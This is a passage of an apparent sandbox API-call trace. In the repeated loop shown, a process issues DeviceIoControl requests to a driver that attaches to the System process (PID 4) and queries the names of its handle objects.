ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.349] ObReferenceObjectByHandle (in: Handle=0xffffffff8000054c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800268c3a0, HandleInformation=0x0) returned 0x0 [0089.349] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.349] PsReleaseProcessExitSynchronization () returned 0x2 [0089.349] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.349] ObQueryNameString (in: Object=0xfffffa800268c3a0, ObjectNameInfo=0xfffffa8003a70044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a70044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.349] ObfDereferenceObject (Object=0xfffffa800268c3a0) returned 0x2 [0089.349] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.349] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.349] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.349] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.349] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.349] PsAcquireProcessExitSynchronization () returned 0x0 [0089.349] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.349] ObReferenceObjectByHandle (in: Handle=0xffffffff80000550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800254a240, HandleInformation=0x0) returned 0x0 [0089.349] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.349] PsReleaseProcessExitSynchronization () returned 0x2 [0089.349] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.349] ObQueryNameString (in: Object=0xfffffa800254a240, ObjectNameInfo=0xfffffa8003a71044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a71044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.349] ObfDereferenceObject (Object=0xfffffa800254a240) returned 0x2 [0089.349] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.349] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.349] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.349] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0089.349] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.349] PsAcquireProcessExitSynchronization () returned 0x0 [0089.349] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.349] ObReferenceObjectByHandle (in: Handle=0xffffffff80000558, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a2d2d0, HandleInformation=0x0) returned 0x0 [0089.349] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.349] PsReleaseProcessExitSynchronization () returned 0x2 [0089.349] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.349] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.349] ObfDereferenceObject (Object=0xfffffa8001a2d2d0) returned 0x1 [0089.349] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.350] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.350] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.350] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0089.350] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.350] PsAcquireProcessExitSynchronization () returned 0x0 [0089.350] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.350] ObReferenceObjectByHandle (in: Handle=0xffffffff80000560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021af670, HandleInformation=0x0) returned 0x0 [0089.350] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.350] PsReleaseProcessExitSynchronization () returned 0x2 [0089.350] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.350] ObQueryNameString (in: Object=0xfffffa80021af670, ObjectNameInfo=0xfffffa8003a73044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a73044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.350] ObfDereferenceObject (Object=0xfffffa80021af670) returned 0x2 [0089.350] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.350] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.350] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.350] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.350] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.350] PsAcquireProcessExitSynchronization () returned 0x0 [0089.350] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.350] ObReferenceObjectByHandle (in: Handle=0xffffffff80000574, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002510aa0, HandleInformation=0x0) returned 0x0 [0089.350] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.350] PsReleaseProcessExitSynchronization () returned 0x2 [0089.350] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.350] ObQueryNameString (in: Object=0xfffffa8002510aa0, ObjectNameInfo=0xfffffa8003a74044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a74044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.350] ObfDereferenceObject (Object=0xfffffa8002510aa0) returned 0x2 [0089.350] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.350] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.350] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.350] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.350] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.350] PsAcquireProcessExitSynchronization () returned 0x0 [0089.350] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.350] ObReferenceObjectByHandle (in: Handle=0xffffffff8000057c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002147270, HandleInformation=0x0) returned 0x0 [0089.350] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.350] PsReleaseProcessExitSynchronization () returned 0x2 [0089.351] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.351] ObQueryNameString (in: Object=0xfffffa8002147270, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.351] ObfDereferenceObject (Object=0xfffffa8002147270) returned 0x2 [0089.351] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.351] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.351] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.351] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.351] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.351] PsAcquireProcessExitSynchronization () returned 0x0 [0089.351] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.351] ObReferenceObjectByHandle (in: Handle=0xffffffff80000580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021194c0, HandleInformation=0x0) returned 0x0 [0089.351] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.351] PsReleaseProcessExitSynchronization () returned 0x2 [0089.351] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.351] ObQueryNameString (in: Object=0xfffffa80021194c0, ObjectNameInfo=0xfffffa8003a76044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a76044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.351] ObfDereferenceObject (Object=0xfffffa80021194c0) returned 0x2 [0089.351] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.351] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.351] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.351] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0089.351] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.351] PsAcquireProcessExitSynchronization () returned 0x0 [0089.351] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.351] ObReferenceObjectByHandle (in: Handle=0xffffffff80000584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003141e60, HandleInformation=0x0) returned 0x0 [0089.351] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.351] PsReleaseProcessExitSynchronization () returned 0x2 [0089.351] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.351] ObQueryNameString (in: Object=0xfffffa8003141e60, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.351] ObfDereferenceObject (Object=0xfffffa8003141e60) returned 0x1 [0089.351] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.351] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.351] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.351] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.351] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.352] PsAcquireProcessExitSynchronization () returned 0x0 [0089.352] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.352] ObReferenceObjectByHandle (in: Handle=0xffffffff8000058c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800fb0cf20, HandleInformation=0x0) returned 0x0 [0089.352] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.352] PsReleaseProcessExitSynchronization () returned 0x2 [0089.352] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.352] ObQueryNameString (in: Object=0xfffffa800fb0cf20, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.352] ObfDereferenceObject (Object=0xfffffa800fb0cf20) returned 0x2 [0089.352] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.352] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.352] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.352] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.352] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.352] PsAcquireProcessExitSynchronization () returned 0x0 [0089.352] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.352] ObReferenceObjectByHandle (in: Handle=0xffffffff80000590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a42ab0, HandleInformation=0x0) returned 0x0 [0089.352] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.352] PsReleaseProcessExitSynchronization () returned 0x2 [0089.352] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.352] ObQueryNameString (in: Object=0xfffffa8001a42ab0, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.352] ObfDereferenceObject (Object=0xfffffa8001a42ab0) returned 0x2 [0089.352] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.352] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.352] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.352] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.352] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.352] PsAcquireProcessExitSynchronization () returned 0x0 [0089.352] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.352] ObReferenceObjectByHandle (in: Handle=0xffffffff800005a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002401f20, HandleInformation=0x0) returned 0x0 [0089.352] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.352] PsReleaseProcessExitSynchronization () returned 0x2 [0089.352] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.352] ObQueryNameString (in: Object=0xfffffa8002401f20, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.353] ObfDereferenceObject (Object=0xfffffa8002401f20) returned 0x2 [0089.353] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.353] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.353] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.353] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.353] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.353] PsAcquireProcessExitSynchronization () returned 0x0 [0089.353] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.353] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002156790, HandleInformation=0x0) returned 0x0 [0089.353] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.353] PsReleaseProcessExitSynchronization () returned 0x2 [0089.353] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.353] ObQueryNameString (in: Object=0xfffffa8002156790, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.353] ObfDereferenceObject (Object=0xfffffa8002156790) returned 0x2 [0089.353] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.353] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.353] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.353] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.353] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.353] PsAcquireProcessExitSynchronization () returned 0x0 [0089.353] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.353] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a472d0, HandleInformation=0x0) returned 0x0 [0089.353] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.353] PsReleaseProcessExitSynchronization () returned 0x2 [0089.353] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.353] ObQueryNameString (in: Object=0xfffffa8001a472d0, ObjectNameInfo=0xfffffa8003a7c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7c044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.353] ObfDereferenceObject (Object=0xfffffa8001a472d0) returned 0x2 [0089.353] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.353] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.353] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.353] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.354] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.354] PsAcquireProcessExitSynchronization () returned 0x0 [0089.354] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.354] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002501a00, HandleInformation=0x0) returned 0x0 [0089.354] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.354] PsReleaseProcessExitSynchronization () returned 0x2 [0089.354] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.354] ObQueryNameString (in: Object=0xfffffa8002501a00, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.354] ObfDereferenceObject (Object=0xfffffa8002501a00) returned 0x2 [0089.354] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.354] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.354] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.354] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.354] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.354] PsAcquireProcessExitSynchronization () returned 0x0 [0089.354] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.354] ObReferenceObjectByHandle (in: Handle=0xffffffff800005bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002191330, HandleInformation=0x0) returned 0x0 [0089.354] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.354] PsReleaseProcessExitSynchronization () returned 0x2 [0089.354] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.354] ObQueryNameString (in: Object=0xfffffa8002191330, ObjectNameInfo=0xfffffa8003a7e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.354] ObfDereferenceObject (Object=0xfffffa8002191330) returned 0x2 [0089.354] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.354] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.354] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.354] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.354] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.354] PsAcquireProcessExitSynchronization () returned 0x0 [0089.354] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.354] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fa7830, HandleInformation=0x0) returned 0x0 [0089.354] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.355] PsReleaseProcessExitSynchronization () returned 0x2 [0089.355] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.355] ObQueryNameString (in: Object=0xfffffa8001fa7830, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.355] ObfDereferenceObject (Object=0xfffffa8001fa7830) 